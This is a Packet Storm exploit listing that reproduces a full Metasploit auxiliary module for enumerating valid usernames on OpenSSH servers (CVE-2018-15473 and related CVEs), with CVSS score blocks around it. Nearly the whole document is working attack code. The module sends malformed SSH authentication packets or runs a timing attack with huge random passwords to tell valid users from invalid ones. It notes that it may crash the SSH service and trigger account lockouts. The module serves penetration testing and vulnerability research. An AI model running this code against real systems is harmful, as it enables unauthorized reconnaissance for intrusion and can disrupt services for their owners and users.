Lucene search

K
packetstormMichal Sajdak, wvu, Qualys, Dariusz Tytko, kenkeiras, metasploit.comPACKETSTORM:181223
HistorySep 01, 2024 - 12:00 a.m.

SSH Username Enumeration

2024-09-0100:00:00
Michal Sajdak, wvu, Qualys, Dariusz Tytko, kenkeiras, metasploit.com
packetstormsecurity.com
43
openssh server
timing attack
malformed packet
user enumeration
public key authentication
ssh_msg_userauth_request
timing vulnerability
permission denied error
cve-2003-0190
cve-2006-5229
cve-2016-6210
cve-2018-15473
openssh enumeration vulnerability

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AI Score

7.3

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::SSH  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SSH Username Enumeration',  
'Description' => %q{  
This module uses a malformed packet or timing attack to enumerate users on  
an OpenSSH server.  
  
The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST  
packet using public key authentication (must be enabled) to enumerate users.  
  
On some versions of OpenSSH under some configurations, OpenSSH will return a  
"permission denied" error for an invalid user faster than for a valid user,  
creating an opportunity for a timing attack to enumerate users.  
  
Testing note: invalid users were logged, while valid users were not. YMMV.  
},  
'Author' => [  
'kenkeiras', # Timing attack  
'Dariusz Tytko', # Malformed packet  
'Michal Sajdak', # Malformed packet  
'Qualys', # Malformed packet  
'wvu' # Malformed packet  
],  
'References' => [  
['CVE', '2003-0190'],  
['CVE', '2006-5229'],  
['CVE', '2016-6210'],  
['CVE', '2018-15473'],  
['OSVDB', '32721'],  
['BID', '20418'],  
['URL', 'https://seclists.org/oss-sec/2018/q3/124'],  
['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/']  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
[  
'Malformed Packet',  
{  
'Description' => 'Use a malformed packet',  
'Type' => :malformed_packet  
}  
],  
[  
'Timing Attack',  
{  
'Description' => 'Use a timing attack',  
'Type' => :timing_attack  
}  
]  
],  
'DefaultAction' => 'Malformed Packet',  
'Notes' => {  
'Stability' => [  
CRASH_SERVICE_DOWN # possible that a malformed packet may crash the service  
],  
'Reliability' => [],  
'SideEffects' => [  
IOC_IN_LOGS,  
ACCOUNT_LOCKOUTS, # timing attack submits a password  
]  
}  
)  
)  
  
register_options(  
[  
Opt::Proxies,  
Opt::RPORT(22),  
OptString.new('USERNAME',  
[false, 'Single username to test (username spray)']),  
OptPath.new('USER_FILE',  
[false, 'File containing usernames, one per line']),  
OptBool.new('DB_ALL_USERS',  
[false, 'Add all users in the current database to the list', false]),  
OptInt.new('THRESHOLD',  
[  
true,  
'Amount of seconds needed before a user is considered ' \  
'found (timing attack only)', 10  
]),  
OptBool.new('CHECK_FALSE',  
[false, 'Check for false positives (random username)', true])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('RETRY_NUM',  
[  
true, 'The number of attempts to connect to a SSH server' \  
' for each user', 3  
]),  
OptInt.new('SSH_TIMEOUT',  
[  
false, 'Specify the maximum time to negotiate a SSH session',  
10  
]),  
OptBool.new('SSH_DEBUG',  
[  
false, 'Enable SSH debugging output (Extreme verbosity!)',  
false  
])  
]  
)  
end  
  
def rport  
datastore['RPORT']  
end  
  
def retry_num  
datastore['RETRY_NUM']  
end  
  
def threshold  
datastore['THRESHOLD']  
end  
  
# Returns true if a nonsense username appears active.  
def check_false_positive(ip)  
user = Rex::Text.rand_text_alphanumeric(8..32)  
attempt_user(user, ip) == :success  
end  
  
def check_user(ip, user, port)  
technique = action['Type']  
  
opts = ssh_client_defaults.merge({  
port: port  
})  
  
# The auth method is converted into a class name for instantiation,  
# so malformed-packet here becomes MalformedPacket from the mixin  
case technique  
when :malformed_packet  
opts.merge!(auth_methods: ['malformed-packet'])  
when :timing_attack  
opts.merge!(  
auth_methods: ['password', 'keyboard-interactive'],  
password: rand_pass  
)  
end  
  
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
start_time = Time.new  
  
begin  
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(ip, user, opts)  
end  
rescue Rex::ConnectionError  
return :connection_error  
rescue Timeout::Error  
return :success if technique == :timing_attack  
rescue Net::SSH::AuthenticationFailed  
return :fail if technique == :malformed_packet  
rescue Net::SSH::Exception => e  
vprint_error("#{e.class}: #{e.message}")  
end  
  
finish_time = Time.new  
  
case technique  
when :malformed_packet  
return :success if ssh  
when :timing_attack  
return :success if (finish_time - start_time > threshold)  
end  
  
:fail  
end  
  
def rand_pass  
Rex::Text.rand_text_english(64_000..65_000)  
end  
  
def do_report(ip, user, _port)  
service_data = {  
address: ip,  
port: rport,  
service_name: 'ssh',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: user  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
# Because this isn't using the AuthBrute mixin, we don't have the  
# usual peer method  
def peer(rhost = nil)  
"#{rhost}:#{rport} - SSH -"  
end  
  
def user_list  
users = []  
  
users << datastore['USERNAME'] unless datastore['USERNAME'].blank?  
  
if datastore['USER_FILE']  
fail_with(Failure::BadConfig, 'The USER_FILE is not readable') unless File.readable?(datastore['USER_FILE'])  
users += File.read(datastore['USER_FILE']).split  
end  
  
if datastore['DB_ALL_USERS']  
if framework.db.active  
framework.db.creds(workspace: myworkspace.name).each do |o|  
users << o.public.username if o.public  
end  
else  
print_warning('No active DB -- The following option will be ignored: DB_ALL_USERS')  
end  
end  
  
users.uniq  
end  
  
def attempt_user(user, ip)  
attempt_num = 0  
ret = nil  
  
while (attempt_num <= retry_num) && (ret.nil? || (ret == :connection_error))  
if attempt_num > 0  
Rex.sleep(2**attempt_num)  
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")  
end  
  
ret = check_user(ip, user, rport)  
attempt_num += 1  
end  
  
ret  
end  
  
def show_result(attempt_result, user, ip)  
case attempt_result  
when :success  
print_good("#{peer(ip)} User '#{user}' found")  
do_report(ip, user, rport)  
when :connection_error  
vprint_error("#{peer(ip)} User '#{user}' could not connect")  
when :fail  
vprint_error("#{peer(ip)} User '#{user}' not found")  
end  
end  
  
def run  
if user_list.empty?  
fail_with(Failure::BadConfig, 'Please populate DB_ALL_USERS, USER_FILE, USERNAME')  
end  
  
super  
end  
  
def run_host(ip)  
print_status("#{peer(ip)} Using #{action.name.downcase} technique")  
  
if datastore['CHECK_FALSE']  
print_status("#{peer(ip)} Checking for false positives")  
if check_false_positive(ip)  
print_error("#{peer(ip)} throws false positive results. Aborting.")  
return  
end  
end  
  
users = user_list  
  
print_status("#{peer(ip)} Starting scan")  
users.each { |user| show_result(attempt_user(user, ip), user, ip) }  
end  
end  
`

CVSS2

5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

CVSS3

5.3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

AI Score

7.3

Confidence

Low